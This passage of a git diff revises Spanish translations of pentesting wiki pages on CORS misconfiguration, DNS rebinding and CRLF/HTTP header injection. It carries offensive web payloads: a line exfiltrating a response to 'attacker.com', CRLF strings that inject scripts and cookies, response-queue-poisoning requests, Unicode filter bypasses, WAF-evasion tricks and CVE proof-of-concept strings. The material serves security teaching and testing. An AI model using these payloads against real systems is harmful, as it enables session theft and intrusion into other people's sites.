-- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados pueden ser utilizados durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.
+- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados se pueden usar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.
- **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados pueden ser expuestos como parte de la respuesta además de los encabezados de respuesta simples.
- **`Access-Control-Max-Age`**: Este encabezado indica cuánto tiempo se pueden almacenar en caché los resultados de una solicitud de pre-vuelo. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud de pre-vuelo puede ser reutilizada.
- **`Access-Control-Request-Headers`**: Utilizado en solicitudes de pre-vuelo, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP el cliente desea usar en la solicitud real.
@@ -114,24 +114,24 @@ Content-Length: 0
...
```
> [!WARNING]
-> Tenga en cuenta que la IP de linux **0.0.0.0** funciona para **bypassear** estos requisitos para acceder a localhost, ya que esa dirección IP no se considera "local".
+> Tenga en cuenta que la IP de linux **0.0.0.0** funciona para **bypasar** estos requisitos para acceder a localhost, ya que esa dirección IP no se considera "local".
>
-> También es posible **bypassear los requisitos de la red local** si utiliza la **dirección IP pública de un endpoint local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se está accediendo a la **IP pública**, si es **desde la red local**, se otorgará acceso.
+> También es posible **bypasar los requisitos de la red local** si utiliza la **dirección IP pública de un endpoint local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se está accediendo a la **IP pública**, si es **desde la red local**, se otorgará acceso.
### Wildcards
-Tenga en cuenta que incluso si la siguiente configuración puede parecer super permisiva:
+Tenga en cuenta que incluso si la siguiente configuración puede parecer muy permisiva:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
Esto no está permitido por los navegadores y, por lo tanto, las credenciales no se enviarán con la solicitud permitida por esto.
-## Configuraciones incorrectas explotables
+## Configuraciones erróneas explotables
Se ha observado que la configuración de `Access-Control-Allow-Credentials` a **`true`** es un requisito previo para la mayoría de los **ataques reales**. Esta configuración permite que el navegador envíe credenciales y lea la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que aprovechar las cookies de un usuario se vuelve inviable.
-### Excepción: Explotar la Ubicación de la Red como Autenticación
+### Excepción: Explotar la ubicación de la red como autenticación
Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se use como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el DNS rebinding, pero es más simple de explotar.
@@ -184,11 +184,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Técnicas de Bypass de Expresiones Regulares
-Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de toma de subdominio. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.
+Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de toma de control de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.
### Bypasses Avanzados de Expresiones Regulares
-Los patrones de regex típicamente se concentran en caracteres alfanuméricos, punto (.) y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones de regex puede eludir las verificaciones de seguridad. El manejo de caracteres de subrayado en subdominios por parte de Safari, Chrome y Firefox ilustra cómo tales discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.
+Los patrones de regex típicamente se concentran en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones de regex puede eludir las verificaciones de seguridad. El manejo de caracteres de subrayado en subdominios por parte de Safari, Chrome y Firefox ilustra cómo tales discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.
**Para más información y configuraciones de esta verificación de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@@ -196,7 +196,7 @@ Los patrones de regex típicamente se concentran en caracteres alfanuméricos, p
### Desde XSS dentro de un subdominio
-Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al blanquear dominios que están permitidos para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).
+Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al incluir en la lista blanca los dominios que están permitidos para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).
Para ilustrar, considere el escenario donde un dominio, `requester.com`, está en la lista blanca para acceder a recursos de otro dominio, `provider.com`. La configuración del lado del servidor podría verse algo así:
```javascript
@@ -224,7 +224,7 @@ HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
-Safari es aún más permisivo al aceptar caracteres especiales en el nombre de dominio:
+Safari es aún más indulgente al aceptar caracteres especiales en el nombre de dominio:
```
GET / HTTP/2
Cookie:
@@ -239,6 +239,7 @@ Access-Control-Allow-Credentials: true
```
### **Otros trucos divertidos de URL**
+
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
@@ -260,7 +261,7 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
-Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, se puede generar manualmente una solicitud elaborada utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y, sin querer, la sirva a otros. La carga útil elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.
+Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, se puede generar manualmente una solicitud elaborada utilizando herramientas como Burp Suite. Este método podría llevar a que un caché del lado del servidor guarde la respuesta y, sin querer, la sirva a otros. La carga útil elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.
Para más información sobre vulnerabilidades XSS almacenadas, consulte [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
@@ -270,9 +271,9 @@ Para más información sobre vulnerabilidades XSS almacenadas, consulte [PortSwi
[**De esta investigación**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin la codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargar.
+En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin la codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.
-Las políticas de Cross-Origin Resource Sharing (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a las restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en caché por el navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, eludiendo la necesidad de renderizado directo en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar la caché del lado del cliente.
+Las políticas de Cross-Origin Resource Sharing (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a las restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en caché por el navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, eludiendo la necesidad de renderizado directo en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar la caché del lado del cliente.
Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Al completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente activando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado `Vary: Origin`.
@@ -311,7 +312,7 @@ Intenta agregar un **`callback`** **parameter** en la solicitud. Tal vez la pág
Una forma de eludir la restricción `Access-Control-Allow-Origin` es solicitando a una aplicación web que haga una solicitud en tu nombre y devuelva la respuesta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán ya que la solicitud se realiza a un dominio diferente.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, mientras también falsifica el encabezado Origin para que coincida con el dominio solicitado. Esto elude efectivamente la política de CORS. Aquí hay un ejemplo de uso con XMLHttpRequest:
-2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para proxying solicitudes. En lugar de pasar tu solicitud tal cual, el servidor hace su propia solicitud con los parámetros especificados.
+2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para hacer proxy de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor hace su propia solicitud con los parámetros especificados.
### Bypass de Iframe + Popup
@@ -321,29 +322,29 @@ Puedes **eludir las verificaciones de CORS** como `e.origin === window.origin` *
xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
-### Rebinding DNS a través de TTL
+### Rebinding de DNS a través de TTL
-El rebinding DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad manipulando registros DNS. Así es como funciona:
+El rebinding de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad manipulando registros DNS. Así es como funciona:
1. El atacante crea una página web y hace que la víctima acceda a ella.
2. El atacante luego cambia el DNS (IP) de su propio dominio para apuntar a la página web de la víctima.
-3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor TTL (Time to Live) que indica cuánto tiempo se debe considerar válido el registro DNS.
+3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor de TTL (Tiempo de Vida) que indica cuánto tiempo se debe considerar válido el registro DNS.
4. Cuando expira el TTL, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima.
5. Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar ninguna cookie al servidor de la víctima.
-Es importante notar que los navegadores tienen mecanismos de caché que pueden prevenir el abuso inmediato de esta técnica, incluso con valores TTL bajos.
+Es importante notar que los navegadores tienen mecanismos de caché que pueden prevenir el abuso inmediato de esta técnica, incluso con valores de TTL bajos.
-El rebinding DNS puede ser útil para eludir verificaciones de IP explícitas realizadas por la víctima o para escenarios donde un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que la caché expire.
+El rebinding de DNS puede ser útil para eludir verificaciones de IP explícitas realizadas por la víctima o para escenarios donde un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que la caché expire.
-Si necesitas una forma rápida de abusar del rebinding DNS, puedes usar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
+Si necesitas una forma rápida de abusar del rebinding de DNS, puedes usar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
-Para ejecutar tu propio servidor de rebinding DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com), y crear un registro NS que apunte al subdominio A creado previamente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com será resuelto por tu host.
+Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com), y crear un registro NS que apunte al subdominio A creado previamente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com será resuelto por tu host.
También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para una mejor comprensión y experimentación.
-### Rebinding DNS a través de **DNS Cache Flooding**
+### Rebinding de DNS a través de **DNS Cache Flooding**
-El rebinding DNS a través de DNS cache flooding es otra técnica utilizada para eludir el mecanismo de caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:
+El rebinding de DNS a través de la inundación de caché DNS es otra técnica utilizada para eludir el mecanismo de caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:
1. Inicialmente, cuando la víctima realiza una solicitud DNS, se responde con la dirección IP del atacante.
2. Para eludir la defensa de caché, el atacante aprovecha un service worker. El service worker inunda la caché DNS, lo que efectivamente elimina el nombre del servidor del atacante almacenado en caché.
@@ -351,13 +352,13 @@ El rebinding DNS a través de DNS cache flooding es otra técnica utilizada para
Al inundar la caché DNS con el service worker, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a realizar una segunda solicitud, esta vez resolviendo a la dirección IP deseada por el atacante.
-### Rebinding DNS a través de **Cache**
+### Rebinding de DNS a través de **Cache**
Otra forma de eludir la defensa de caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor de DNS. Así es como funciona:
1. El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor de DNS.
2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP.
-3. Si el navegador decide usar la dirección IP del atacante primero, el atacante puede servir una carga útil que realiza solicitudes HTTP al mismo dominio.
+3. Si el navegador decide usar primero la dirección IP del atacante, el atacante puede servir una carga útil que realice solicitudes HTTP al mismo dominio.
4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima.
5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a usar la segunda dirección IP dada.
6. Al acceder a la segunda dirección IP, el navegador elude la Política de Mismo Origen (SOP), permitiendo al atacante abusar de esto y recopilar y exfiltrar información.
@@ -366,7 +367,7 @@ Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcio
> [!WARNING]
> Ten en cuenta que para acceder a localhost deberías intentar rebind **127.0.0.1** en Windows y **0.0.0.0** en Linux.\
-> Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"
+> Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs, siendo una de ellas "0.0.0.0"
>
>
@@ -375,21 +376,21 @@ Para más información, puedes consultar [https://unit42.paloaltonetworks.com/dn
### Otros Bypasses Comunes
- Si **las IPs internas no están permitidas**, podrían **olvidar prohibir 0.0.0.0** (funciona en Linux y Mac)
-- Si **las IPs internas no están permitidas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac)
+- Si **las IPs internas no están permitidas**, responder con un **CNAME** a **localhost** (funciona en Linux y Mac)
- Si **las IPs internas no están permitidas** como respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal.
-### Rebinding DNS Arma
+### Rebinding de DNS Arma
Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo usar la siguiente herramienta en la charla [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.
+[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.
-### Protección Real contra el Rebinding DNS
+### Protección Real contra el Rebinding de DNS
- Usa TLS en servicios internos
- Solicita autenticación para acceder a datos
- Valida el encabezado Host
-- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para siempre enviar una solicitud pre-vuelo cuando los servidores públicos quieren acceder a servidores internos
+- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para siempre enviar una solicitud previa cuando los servidores públicos quieren acceder a servidores internos
## **Herramientas**
diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md
index 3a1fafa98..d0f079e9c 100644
--- a/src/pentesting-web/crlf-0d-0a.md
+++ b/src/pentesting-web/crlf-0d-0a.md
@@ -35,7 +35,7 @@ El atacante así oculta sus actividades maliciosas haciendo que parezca que el l
#### Descripción
-HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), denominados colectivamente como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a graves problemas de seguridad, notablemente Cross-site Scripting (XSS).
+HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), denominado colectivamente como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a graves problemas de seguridad, notablemente Cross-site Scripting (XSS).
#### XSS a través de HTTP Response Splitting
@@ -68,7 +68,7 @@ Puedes enviar la carga útil **dentro de la ruta de URL** para controlar la **re
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
-Check more examples in:
+Revisa más ejemplos en:
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
@@ -76,11 +76,11 @@ https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.
### Inyección de Encabezados HTTP
-La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
+La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar al acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
#### Explotación de CORS a través de la Inyección de Encabezados HTTP
-Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta brecha permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
+Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta violación permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
#### SSRF e Inyección de Solicitudes HTTP a través de CRLF
@@ -125,7 +125,7 @@ Después, se puede especificar una segunda solicitud. Este escenario típicament
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
-2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:
+2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede activar el envenenamiento de la cola de respuestas. Un ejemplo es:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@@ -139,7 +139,7 @@ Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto
**Para la información completa, lea el**[ **informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
-Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
+Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizarlos** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad descubierta originalmente, se usaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (nombres de usuario y contraseñas incluidos) a los servidores del atacante:
@@ -154,7 +154,7 @@ Además, los investigadores también descubrieron que podían desincronizar las
Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o inyecciones de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:
1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:** El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta.
-2. **Codificar Caracteres Especiales:** Si evitar la entrada directa del usuario no es factible, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF.
+2. **Codificar Caracteres Especiales:** Si no es factible evitar la entrada directa del usuario, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF.
3. **Actualizar el Lenguaje de Programación:** Actualice regularmente el lenguaje de programación utilizado en sus aplicaciones web a la última versión. Opte por una versión que inherentemente no permita la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer encabezados HTTP.
### CHEATSHEET
@@ -181,20 +181,57 @@ Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o iny
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
+### Vulnerabilidades Recientes (2023 – 2025)
+
+Los últimos años han producido varios errores de inyección de encabezados CRLF/HTTP de alto impacto en componentes ampliamente utilizados del lado del servidor y del cliente. Reproducir y estudiar estos errores localmente es una excelente manera de entender los patrones de explotación en el mundo real.
+
+| Año | Componente | CVE / Aviso | Causa raíz | Destacar PoC |
+|------|-----------|---------------|------------|---------------|
+| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | El helper `AddHeader()` no sanitizaba CR/LF, permitiendo la construcción de múltiples encabezados de solicitud cuando RestSharp se utiliza como cliente HTTP dentro de servicios de back-end. Los sistemas de downstream podrían ser forzados a SSRF o a enmascaramiento de solicitudes. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
+| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Los atributos de encabezado en los métodos de la interfaz se copiaron textualmente en la solicitud. Al incrustar `%0d%0a`, los atacantes podían agregar encabezados arbitrarios o incluso una segunda solicitud cuando Refit era utilizado por trabajos de servidor. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
+| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | El parámetro `redirect` proporcionado por el usuario se reflejó en un encabezado `Location:` sin codificación, habilitando redirección abierta + envenenamiento de caché. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a` |
+
+Estos errores son importantes porque se activan **dentro del código a nivel de aplicación** y no solo en el borde del servidor web. Cualquier componente interno que realice solicitudes HTTP o establezca encabezados de respuesta debe, por lo tanto, hacer cumplir el filtrado de CR/LF.
+
+### Bypass Avanzados de Unicode / Caracteres de Control
+
+Las pilas modernas de WAF/reescritores a menudo eliminan `\r`/`\n` literales pero olvidan otros caracteres que muchos back-ends tratan como terminadores de línea. Cuando CRLF es filtrado, prueba:
+
+* `%E2%80%A8` (`U+2028` – SEPARADOR DE LÍNEA)
+* `%E2%80%A9` (`U+2029` – SEPARADOR DE PÁRRAFO)
+* `%C2%85` (`U+0085` – PRÓXIMA LÍNEA)
+
+Algunos frameworks de Java, Python y Go convierten estos a `\n` durante el análisis de encabezados (ver la investigación de Praetorian de 2023). Combínalos con cargas útiles clásicas:
+```
+/%0A%E2%80%A8Set-Cookie:%20admin=true
+```
+Si el filtro normaliza UTF-8 primero, el carácter de control se convierte en un salto de línea regular y el encabezado inyectado es aceptado.
+
+### Evasión de WAF a través del truco de `Content-Encoding` duplicado (2023)
+
+Los investigadores de Praetorian también demostraron que al inyectar:
+```
+%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
+```
+en un encabezado reflejado, los navegadores ignorarán el cuerpo proporcionado por el servidor y renderizarán HTML suministrado por el atacante que sigue, dando XSS almacenado incluso cuando el contenido de la aplicación es inerte. Debido a que `Content-Encoding: identity` es permitido por el RFC 9110, muchos proxies inversos lo reenvían sin cambios.
+
## Herramientas Automáticas
-- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
-- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
+* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – escáner activo rápido escrito en Go.
+* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – fuzzer basado en listas de palabras que soporta cargas útiles de nueva línea Unicode.
+* [crlfix](https://github.com/glebarez/crlfix) – utilidad de 2024 que parchea solicitudes HTTP generadas por programas Go y puede usarse de forma independiente para probar servicios internos.
## Lista de Detección de Fuerza Bruta
-- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
+- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
## Referencias
-- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
-- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
-- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
-- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
+- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
+- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
+- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
